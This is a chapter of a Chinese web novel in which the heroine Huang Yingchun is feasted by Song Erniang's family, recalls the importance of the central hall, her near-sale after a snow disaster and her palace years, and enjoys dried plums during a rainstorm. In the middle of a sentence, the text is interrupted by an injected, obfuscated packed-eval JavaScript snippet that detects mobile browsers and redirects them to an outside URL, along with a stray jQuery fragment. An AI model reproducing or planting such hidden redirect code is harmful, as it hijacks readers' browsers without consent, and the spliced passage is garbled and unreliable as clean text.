38.李干
作品:《荒山安居日常》 黄迎春还没看清宋二娘家的布局和摆设,直接就被她拉进待客的堂屋,坐在一张四面八方都是人的饭桌前,脸上还没挤出一个打招呼的笑,手里已经不知道被谁塞了一把筷子。
一盘用料丰富的凉拌皮蛋,一碗热气腾腾的大米粥,放在黄迎春的面前。
芝麻油特有的香气、葱蒜的辛辣、浓稠的酱汁,活色生香地铺在二十瓣挨挤在一块的皮蛋上。
黄迎春还没吃,只一看一闻,便知这道凉拌皮蛋一定清爽开胃,十分下饭。
桌上还有其他的菜,都是各式各样的新鲜时蔬,还有一道炸鱼块,鱼是黄迎春送给宋二娘的草鱼,她特意留了几块今早炸给黄迎春吃。
“快吃吧!”
“赶了一早上的路,饿了吧?”
“……”
宋二娘的家人的热情程度比宋二娘有过之而无不及。
黄迎春的嘴唇动了又动,最后冒出一句请求:“我能不能……先洗个手?”
除了洗手,在宋二娘家余下这半天里,黄迎春再也没沾过水。
宋家上下都极有待客之道,黄迎春坐在堂屋吃饭时,年岁大的长辈和热情的女人们一直招呼她多吃,哪怕黄迎春放下筷子后,他们还在不停地招呼她,直到黄迎春一遍又一遍地说自己真吃饱了,这时立刻有人眼疾手快地把她吃完的碗筷拿去厨房洗,不让黄迎春动一下脚。
“不忙,你坐着歇一会儿,我来就行。”一个年轻的小娘子手脚十分麻利地收了桌。
乡下人家,并没有正式吃饭的地方。
男人们一年四季都在田地里忙活,大多时候,他们都坐在田埂上,一边望着脚下的田,一边吃着碗里的粮。
而女人们既要做饭又要送饭,所以往往在厨房忙活时就见缝插针地把自己的饭食吃了。
一年到头,也只有农闲、过年或办大事时,一家人能凑在一起吃顿饭。
男人们总是坐在最好的位置,即一条长板凳的中间。
女人和小孩只能龟缩在两侧,屁股沾着一小段木头挤着坐,时不时还要被长辈敲打坐没坐相。
黄迎春从来没有在一大堆人一起吃饭时独享一条板凳的体验,也没有吃完饭不下桌反而无所事事坐在堂屋里休息的经验,尤其是周围充满了对她若有似无的好奇打量,黄迎春一抬头,又只能看到一张满是善意的笑脸。
她的心中充满了忐忑不安。
刚认识的人,第一回来做客,就遇上这么大的排场。
宋二娘不会以为她要同她做很大的生意吧?
黄迎春坐在堂屋,想着怀里的六百五十文,越坐越心虚。
终于,她忍不住出门透口气。
对刚出生没几年的小孩子来说,家里来客是很新奇的事情。
黄迎春一起身,她的身后立刻跟上了好奇的小尾巴,自告奋勇要带她熟悉家门。
宋家的布局与黄迎春在荒山脚下的家不同。
宋二娘家是个大家族,并没有分家,所有人都挨挨挤挤地住在一起,就跟黄迎春刚才看见的那盘凉拌皮蛋一样。
凉拌皮蛋的中央是一颗圆滚滚的水煮鸭蛋,而宋家四房的中心则是黄迎春刚刚走出来的堂屋,也是黄迎春理想的“中堂”。
黄迎春第一次知道“中堂”这个概念,得缘于上辈子看过的一部电视剧《铁齿铜牙纪晓岚》中他人对和珅的一声称谓——和中堂。
为什么和珅会被称为中堂大人呢?
黄迎春有些好奇,趁着学校上微机课时那宝贵的五分钟联网时间,上网搜查了一番——原来,中堂并非正式官职,而是清代对内阁大学士的尊称。因办公位置(内阁大学士兼管六部事务,在部堂议事时居中而坐,而满汉尚书分坐两旁)得此称谓。
一个小小的知识点出其不意地在黄迎春的脑袋里扎了根——中堂,大意是指建筑中居中的厅堂。
这是一个很重要的位置!
和和珅的地位一样,不同凡响!
小小的黄迎春恪守这一见解,所以哪怕是在不知事的年纪,她也从来没在堂屋里捣过乱,总是离堂屋远远的,不像家中其他兄弟姐妹,都或多或少因此挨过打遭过骂。
甚至,这个知识点可以说是间接救了黄迎春一条命。
堂屋由于地位不同凡响,是待客、祭祖等办大事专用的地方,所以稍有条件的人家在盖房时,都会把自家的堂屋往大了盖,甚至有些好面子的人家,还会把所有的好材料都用在堂屋上,只为了旁人在新居暖屋时的一句艳羡,浑然不顾在夜里呼呼漏风的卧房。
黄迎春家是中不溜的情况,她的爷奶既不是驴粪蛋子表面光,绣花枕头一包糠的典范,也看不上把堂屋与厨房、卧室混用的做派。
穷苦人家左一张灶台,右一张床,中间放着一张桌子和几把椅子,一间屋子既是厨房,又是卧室,甚至可能连门都没有,屋子里的东西就大咧咧地敞在人家眼皮子底下。
这样的人家,一辈子也遇不上几次需要掩人耳目或是要在堂屋办大事的时候,哪怕是一年到头最大的祭祀,往往也只是把桌椅搬到院子里,对着天地祭拜。
仪式结束后,再把桌椅板凳搬回屋中,一家人窝在靠在墙边的床上睡觉。
在黄迎春的祖母看来,夫妻俩在灶王爷眼皮子底下睡觉,那是穷得没边儿的人家才会干出的事情。
“多丢脸啊!”
是啊,多丢脸啊!为了一场雪灾,就要干出这样没皮没脸卖姑娘的事情。
黄家有一间堂屋,从黄迎春出生前,它就堂堂正正地屹立在黄家中央。
无论左右人丁如何分支,房屋数量如何壮大,黄家的堂屋始终是黄家所有房屋里占地最大的一间屋子。
所以每回堂屋里一亮灯,一聚人,黄迎春就知道,家里有大事要发生了。
黄迎春没想到,雪灾后,房子都倒了,堂屋也塌了,她的爷奶爹娘叔伯婶姑还能聚在堂屋前商量大事。
所谓大事,就是她爹的腿被砸伤了,亲戚们不愿出钱,爹娘为了儿子,为了没影的孙子,为了他们的将来,不愿意卖田卖粮卖牲畜,反倒想把养了十二年的闺女卖给一个愿意出五贯钱的酒鬼。
黄迎春一生中没偷听过几回墙根,没想到最后一次临时起意的偷听,竟让她救了自己的命。
进宫又出宫,中堂是指建筑中居中的厅堂这一点,黄迎春始终没有忘怀。
当宋大问她要盖什么样的房屋时,黄迎春张口就说:“一间厨房,一间堂屋,一间卧房。”
茅房不是必备的,买个夜壶就能解决的事情,黄迎春不想多花钱。
她嘱咐宋大:“房屋样式无所谓,结实些就成,不要几场雪下来就压塌了。”
宋大连连保证,又问黄迎春要不要搭个火炕。
火炕,在上辈子是北方的产物。黄迎春虽然两辈子都是实打实的南方人,但她上辈子去过北方旅游,在农家见过火坑,对火坑有些简单的了解。
在黄家村里,哪怕是觉得自己快冻死的时候,黄迎春也从未听过哪户人家家里有火炕这玩意儿。
不曾想一进宫,她就见到了。
北方的特色,怎么会出现在南方?这是黄迎春所不能理解的。
旁人笑黄迎春大惊小怪:“这是天子脚下,皇上想要什么没有!再说,咱这永安城本来就是迁都来的,往上数几辈,哪个人的祖宗不是北方人?你以为这火炕是咱们宫里专有的?告诉你吧,那些当官的大人家里,早多少年就已经舒舒服服地在冬日里睡上火炕烧上火墙了,也只有你这没见识的,估计在家过个冬连块木炭也烧不起,只能窝在羊身下取暖吧?”
黄迎春没有争辩,她深深地低着头,渐渐地红了脸。
旁人以为她是尴尬,或是被气得羞红了脸,其实黄迎春只是不想让人看清她的神色。
黄迎春在心里暗暗告诫自己,这是一个崭新又陌生的世界。
虽然它的生产力水平比现代低下,虽然它不是她所知的任何一个朝代,但是阶级之别是共通的。
哪怕是在人人平等的现代,权力大、财富多的人,往往也会比其他人享有更多的风景与便利。
她虽然有现代的记忆,但未必会比只活一世的安朝人聪明。
反而,在科技水平不够发达的世界里,兴许能激发出大脑更多的潜力,使人开发出更多的可能性。
最要紧的是,她如今已在深宫,这是一个离皇权最近的地方,也是掉脑袋风险最高的地方。
她要打起十二万分的小心,宁可让人笑话没见识,也不能自视甚高,以为自己可以做成什么事。
伴君如伴虎,苟着才是王道。
终于,黄迎春熬到了出宫,她不用再刻意掩盖自己的见识,因为哪怕有人能通过她的言行举止和衣着打扮猜到她的来处,也无人敢打听。
她身上所有不同寻常的行为,但凡有人问起,黄迎春都可以用自己入宫十五年的经历做掩盖。
只要这一句,就无人敢再继续打听。
皇宫是哪里?那是皇帝——天底下最有权势的人待的地方,所以侍候皇上的人懂些别人不知道的事情,那是再应该不过的了。
什么?怀疑?不不不,我只是好奇,你千万别怀疑我,我绝不是奸细,也没想干坏事。你为什么这样看着我?我真的不想干坏事!真是,我为什么要怀疑呢?我一个平民百姓,打听宫中的事情,是何居心?我为什么要打听呢?我为什么要好奇呢?这是我该好奇的事吗?天哪,我摊上事了,怎么办?我为什么要开口搭话呢?我这嘴真应该缝起来……
黄迎春只要往皇宫的方向指一指,再高深莫测地盯着对方,皮笑肉不笑地呵一声,上一瞬还在和黄迎春东说西聊的人就会自己脑补一大堆,再也不敢和黄迎春有过多的牵扯。
牙人都是人精,虽然宋大是从乡下调上来的,不如其他长在城里的牙人有眼力见,但他个性聪明,从来不瞎打听。
黄迎春知道火炕和火墙是什么,宋大就不再解释和介绍。
黄迎春不知道永安城里的普通人家冬日都用着火炕,宋大也不吃惊。
黄迎春问做火炕、烧火墙的价钱,宋大立刻细细地给她讲解。
慈善堂里有火炕,但黄迎春租的那间屋子是云娘子喂奶专用的,并没有火炕。在她抱着汤婆子窝在芦花被里的每一个夜晚,黄迎春都在想着她在荒山脚下的新家,新家里的火炕,该是多么的温暖舒适啊!
有了火炕,哪怕烧不起木炭,她也能在冬天过得舒舒服服的。
火炕这么好的东西,黄家村里为什么没有?黄迎春并不清楚其中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002166|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原因,但她能猜测一二。
对新事物的能力接受最慢的,永远是穷人。
在粮行买粮食和稻种时黄迎春就知道了,农人最要命的缺点,不是贫穷,而是愚昧。
哪怕是明说一定会提高产量的好稻种,也总有人紧紧地攥着自己手里的钱,不肯多花一文,不愿多尝试一种可能,只一味地相信自己的经验,只要自己买了许多年的老稻种——哪怕市面上已经有了经过实践检验的新稻种,新稻种的产量比他点明要的老稻种不知高出多少。
黄迎春也穷,好在她懂得变通。
所以当她扛着新稻种兴冲冲地站在新家前,看着监工指着最左的一间屋子说这是堂屋时,黄迎春并没有吵嚷。
中堂中堂,堂屋不该是中间的吗?
黄迎春的疑惑在她看到隔墙相连的火炕和灶台时烟消云散。
为了冷天时能舒舒服服躺在炕上取暖睡觉,也为了省点柴火和力气,堂屋在左边就左边吧。
反正她一个人住,也没什么人会上门来做客,堂屋除了置物,也派不上什么大用场,在左边在中间又有什么分别?
黄迎春没花多长时间,就轻轻松松地说服自己接受了她一片式布局的新家。
宋二娘家则不同,黄迎春吃过朝食,原打算寒暄几句便去看鸭的,谁知夏季的天,就像孩子的脸,说变就变,黄迎春还没走出宋家门,就被一场突如其来的瓢泼大雨给吓了回来。
“妹子,等会儿再去,你先进来。别急,夏天的雨都是一阵一阵的,看这势头,过不了多久就得停,雨停了我再去给你捉鸭子。”宋二娘招呼黄迎春进堂屋等待。
宋家堂屋里的八仙桌刚撤下朝食,不一会儿又摆上了新的点心席面。
圆圆的红纹盒子,一打开,梨圈、桃条、李干、红枣、核桃……八格八样,装得满满当当。
飘着黄桂花的酸梅汤盛在白杯子里,杯口忽忽悠悠地飘着一点儿热气。
“酸梅汤本该放在井里湃过,阿奶说黄娘子刚吃了热粥,不宜立吃冷饮,所以我调了一杯热的,黄娘子尝尝看,不好喝就放着,我再调一杯蜜水来。”
宋二娘的小闺女一来一回,又带了一个厚重的点心盒子。
黄迎春这回不敢再多看,等乖巧的女孩儿走后,她低声和宋二娘说:“二娘,我和你交个底,我只带了六百五十文来。不是不想多买,是实在钱不够。你快把这些好东西收起来吧,你这么做生意可不行,忒亏!”
这话怎么这么熟呢?宋二娘脸一虎,语气严肃:“你说得可是真的?”
“是真的。”黄迎春点头,“我只能同你做六百五十文的生意,不是六千五百文,刚才的朝食已经够破费的了,你快把这些点心都收起来吧,我不饿。”
“你可知道我花了多少工夫才搜罗来这些东西?”宋二娘抓了一把个大皮皱的红枣放在黄迎春手里,合上她的手,轻拍两下,忽然笑个不停:“安心吃吧,乡下地界常有的东西,不值什么钱,费点力罢了。”
宋二娘一边开点心盒子一边和黄迎春说:“这些东西看着虽多,没一样是买来的。
“这山楂干,是我侄儿家送来的。他家有棵山楂树,酸得鸟都不爱吃。酸山楂吃多了倒牙,自家吃也吃不完,他每回收了都要送我一筐。新鲜山楂放不住,我就把它们切成圈再晒一晒,专治小孩积食,也省得他们偷吃,吃得成天捂着牙叫唤!
“这些梨啊,桃啊,杏儿的,也都是一样。各家淘换一下,留一些自家吃,其余的全做成久放的果干。
“你快都尝尝。爱吃酸不?
“我家有棵青梅树,现在正是青梅长得最好的时候,好看又好吃。这些都是前两天刚采下来的,洗干净又晾干的,放心吃。
“你要爱吃甜的,就尝尝这黄梅,对了!”
宋二娘拍着桌子,又拉长嗓子往隔壁喊:“莺——儿——,你三姑姑前几日送来的胭脂梅呢?也洗几颗送来给黄娘子尝尝。”
“哎——,就来。”年轻女娘清脆的嗓音远远传来。
“不,不用……”
黄迎春压根没有推辞的空档,因为,宋二娘转头就又开始给她挑拣新零食:“妹子,你尝尝这核桃,去年刚打的山核桃,结得不多,倒是香着呢!可惜啊,量少,不然还能存些拿去镇上榨油……”
黄迎春听得一愣又一愣,嘴里和手上塞满了宋二娘推销的吃食。
在门外偷听的小家伙们藏不住,一个接一个跑到宋二娘面前,一边觑着黄迎春的脸色,一边向宋二娘讨点心。
红枣、青梅、李干……宋二娘一人手里放一把,每把零食都不重样,最后一拍手,让孩子们一边玩去:“分着吃,知道吗?别吵架。拿稳了,别跑,别摔了。”
虽然知道不该问,但黄迎春还是像个二愣子一样秃噜出一句话:“二娘,你是当家的啊?”
“我是赚钱的。”宋二娘得意地说。
不知道这李干是谁晒的,入口微酸,回甘却是甜的,晒得极好,黄迎春甚至能在李干布满天然褶皱文理的棕褐色表皮上看到一层浅浅的金色糖霜。
黄迎春努力克制自己,但还是忍不住吃了一颗,又拿了一颗。
她嚼着果肉饱满的李干,在大雨天里安然坐在干燥的屋里,听宋二娘眉飞色舞地讲故事。

